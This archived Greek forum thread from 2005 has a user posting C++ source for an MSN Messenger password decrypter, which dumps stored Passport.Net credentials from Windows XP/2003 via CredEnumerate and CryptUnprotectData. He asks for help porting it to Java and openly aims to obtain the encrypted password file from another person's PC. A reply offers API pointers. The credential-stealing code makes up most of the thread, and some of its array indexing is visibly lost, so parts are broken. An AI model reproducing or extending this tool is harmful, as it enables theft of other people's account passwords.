Antonio_gr Δημοσ. 31 Αυγούστου 2005 Δημοσ. 31 Αυγούστου 2005 Παιδιά την βοήθεια σας. Βρίκα έναν κώδικα γραμμένο σε c++ που αποκρυπτογραφεί username και password στο msn. Έιχε μερικά λαθάκια και τον διόρθωσα. Έκανα compile και έφτιαξα το .exe file και δουλευει μια χαρά. (Ενημερώνω ότι χρησιμοποίησα Borland C++ Builder 6.). Από προγραμματισμό ξέρω μόνο τα βασικά. Θα δώσω τον κώδικα παρακάτω. Παρακαλώ κάποιος που ξέρει, να μου πεί αν μπορεί να καταλάβει που είναι αποθηκευμένο το κρυπτογραφημένο username (δεν με νοιάζει και τοσο γιατι είναι το e-mail που το μαθαίνεις εύκολα από τον άλλο) και το password έτσι ώστε να φτιάξω σε java ένα project που να γραφει σε ένα αρχείο το κρυπτογραφυμένο password και μετά με διάφορα προγράμματα που κυκλοφορούν να το αποκρυπτογραφώ. Τώρα το πως θα πάρω από τον pc του άλλου το file με τον κρυπτογραφυμένο κωδικό είναι άλλο θέμα . Έχουν ξαναγίνει τέτοιες συζητήσεις στο forum για το MSN αλλά είπαν ότι δεν υπάρχει λύση. Είναι μια ευκαιρία πιστέυω να το εξελίξουμε. Παρακαλώ βοηθήστε... Ο Κώδικας είναι....... /* * MSN Messenger Password Decrypter for Windows XP & 2003 * (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0) */ #include <windows.h> #include <wincrypt.h> #include <stdio.h> #pragma comment(lib, "Crypt32.lib") //Following definitions taken from wincred.h //[available only in Oct 2002 MS Platform SDK / //LCC-Win32 Includes] typedef struct _CREDENTIAL_ATTRIBUTEA { LPSTR Keyword; DWORD Flags; DWORD ValueSize; LPBYTE Value; } CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA; typedef struct _CREDENTIALA { DWORD Flags; DWORD Type; LPSTR TargetName; LPSTR Comment; FILETIME LastWritten; DWORD CredentialBlobSize; LPBYTE CredentialBlob; DWORD Persist; DWORD AttributeCount; PCREDENTIAL_ATTRIBUTEA Attributes; LPSTR TargetAlias; LPSTR UserName; } CREDENTIALA,*PCREDENTIALA; typedef CREDENTIALA CREDENTIAL; typedef PCREDENTIALA PCREDENTIAL; //////////////////////////////////////////////////////////////////// typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR, DWORD, DWORD *, PCREDENTIALA **); typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD, DWORD, PCREDENTIALA *); typedef VOID (WINAPI *typeCredFree)(PVOID); typeCredEnumerateA pfCredEnumerateA; typeCredReadA pfCredReadA; typeCredFree pfCredFree; //////////////////////////////////////////////////////////////////// void showBanner() { printf("MSN Messenger Password Decrypter for Windows XP/2003\n"); } //////////////////////////////////////////////////////////////////// int main() { PCREDENTIAL *CredentialCollection = NULL; DATA_BLOB blobCrypt, blobPlainText, blobEntropy; //used for filling up blobEntropy char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll short int EntropyData[37]; short int tmp; HMODULE hDLL; DWORD Count, i; showBanner(); //Locate CredEnumerate, CredRead, CredFree from advapi32.dll if( hDLL = LoadLibrary("advapi32.dll") ) { pfCredEnumerateA =(typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA"); pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA"); pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree"); if( pfCredEnumerateA == NULL|| pfCredReadA == NULL || pfCredFree == NULL ) { printf("error!\n"); return -1; } } //Get an array of 'credential', satisfying the filter pfCredEnumerateA("Passport.Net\\*", 0, &Count, &CredentialCollection); if( Count ) //usually this value is only 1 { //Calculate Entropy Data for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37 { tmp = (short int)szEntropyStringSeed; tmp <<= 2; EntropyData = tmp; } for(i=0; i<Count; i++) { blobEntropy.pbData = (BYTE *)&EntropyData; blobEntropy.cbData = 74; //sizeof(EntropyData) blobCrypt.pbData = CredentialCollection->CredentialBlob; blobCrypt.cbData = CredentialCollection->CredentialBlobSize; CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText); printf("Username : %s\n", CredentialCollection->UserName); printf("Password : %ls\n\n", blobPlainText.pbData); } } pfCredFree(CredentialCollection); } /* EoF */
alkisg Δημοσ. 1 Σεπτεμβρίου 2005 Δημοσ. 1 Σεπτεμβρίου 2005 Help για την CredEnumerate: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthn/security/credenumerate.asp Πρέπει να βρεις πώς γίνεται να καλέσεις Windows API από Java. ΑΝ δεν γίνεται, τότε ξέχνα το, θα έπρεπε να υλοποιήσεις σε Java την CredEnumerate και τις υπόλοιπες συναρτήσεις, το οποίο μπορεί να είναι μέχρι και αδύνατο (π.χ. μπορεί να απαιτεί πρόσβαση σε μητρώο ή οπουδήποτε αλλού και να μην έχεις πρόσβαση σε αυτά με Java).
Antonio_gr Δημοσ. 1 Σεπτεμβρίου 2005 Μέλος Δημοσ. 1 Σεπτεμβρίου 2005 ΚΑΤΑΛΑΒΑ....ΚΑΙ ΕΓΩ ΠΟΥ ΝΟΜΙΖΑ ΟΤΙ ΘΑ ΚΟΙΜΗΘΩ ΝΩΡΙΣ ΣΗΜΕΡΑ¨.. ΑΝ ΒΡΩ ΚΑΤΙ ΘΑ ΕΝΗΜΕΡΩΣΩ.ΟΠΟΙΟΣ ΑΛΛΟΣ ΜΠΟΡΕΙ ΑΣ ΒΟΗΘΗΣΕΙ
Προτεινόμενες αναρτήσεις
Αρχειοθετημένο
Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.